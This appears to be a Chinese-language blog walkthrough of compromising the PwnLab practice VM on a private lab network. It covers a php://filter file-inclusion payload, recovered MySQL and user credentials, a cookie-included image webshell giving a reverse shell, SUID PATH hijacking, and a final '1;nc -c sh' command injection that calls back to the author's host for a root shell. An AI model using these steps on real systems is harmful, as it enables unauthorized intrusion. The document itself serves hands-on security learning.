PwnLab
今天最后一个靶场,ヾ(◍°∇°◍)ノ゙
信息收集
首先是拿到对面主机的ip地址
1 | nmap 192.168.100.0/24 -n -sP -sn |
192.168.100.169
扫端口
nmap -A 192.168.100.169
80,111,3306,
扫目录
1 | dirb http://192.168.100.169/ |
扫指纹
1 | whatweb http://192.168.100.169/ |
漏洞检测
没有cms,没有注释,扫目录没扫到,没有注入(至少我没有测试出来)。
那就只有把目光投向唯一的url了,随便加了个单引号发现图片挂了,sql测试了无报错,随后想到了是文件包含漏洞。
百度了一个payloadhttp://192.168.100.169/?page=php://filter/read=convert.base64-encode/resource=index
利用伪协议读取文件
最后通过阅读index追溯到-login-config
1 | root |
不得不怀疑是mysql的那个东西
漏洞利用
这里我们尝试使用伪协议写入一句话木马
失败
那还是直接上mysql看看吧
1 | mysql -u root -p -h 192.168.100.169 |
解密一下这些账号
1 | kent JWzXuBJJNy |
用这些账号登录一下试一下
可以上传文件,并且只能传图片,没有解析漏洞,%00,00截断无用。肚子里没水了,只有求助攻略。
攻略中查看index的源码发现有这么一行
1 | if (isset($_COOKIE['lang'])) |
如果cookie中设置了lang,就将其包含进来,那我们就包含我们的图片马就可以了,图片马设置一个执行反弹shell的命令。
然后在cookie中设置lang字段来进行文件包含操作
成功获取反弹shell
提权
话说不是有个root的mysql吗,尝试udf提权。
未果
# 利用Escalate_Linux靶机学习11种linux提权 | 十三の博客 (wanheiqiyihu.top)
首先通过python -c 'import pty; pty.spawn("/bin/bash")'
建立一个tty
利用我以前这片文章的思路,进行提权操作。
然后尝试登录上面的账户
当进入kane账户的时候,通过find / -perm -u=s -type f 2>/dev/null
发现具有suid的文件中有这么个东西
执行发现是执行的cat命令
通过环境变量劫持来进行一个提权
1 | cd /home/kane |
执行之后发现用户已经变成了mike
又用find / -perm -u=s -type f 2>/dev/null
发现这么个东西
执行之后发现是给root用户发信息的一个东西
最后还是看了下攻略,都没解释原理,不过原理也很好推测,就是一个命令执行,加了一个分号之后多加了一条命令,直接弹一个root权限的账户回来。
1 | 1;nc -c sh 192.168.100.129 6667 |
总结
最后那个;绕过的提权确实没想到,只能说是情理之中意料之外的吧,要是没有攻略,我可能还是打不到最后一步。还有就是,要善于总结信息,很多漏洞就是从各种信息中分析出来的。最后要是是那种受限的shell,记得弄一个tty。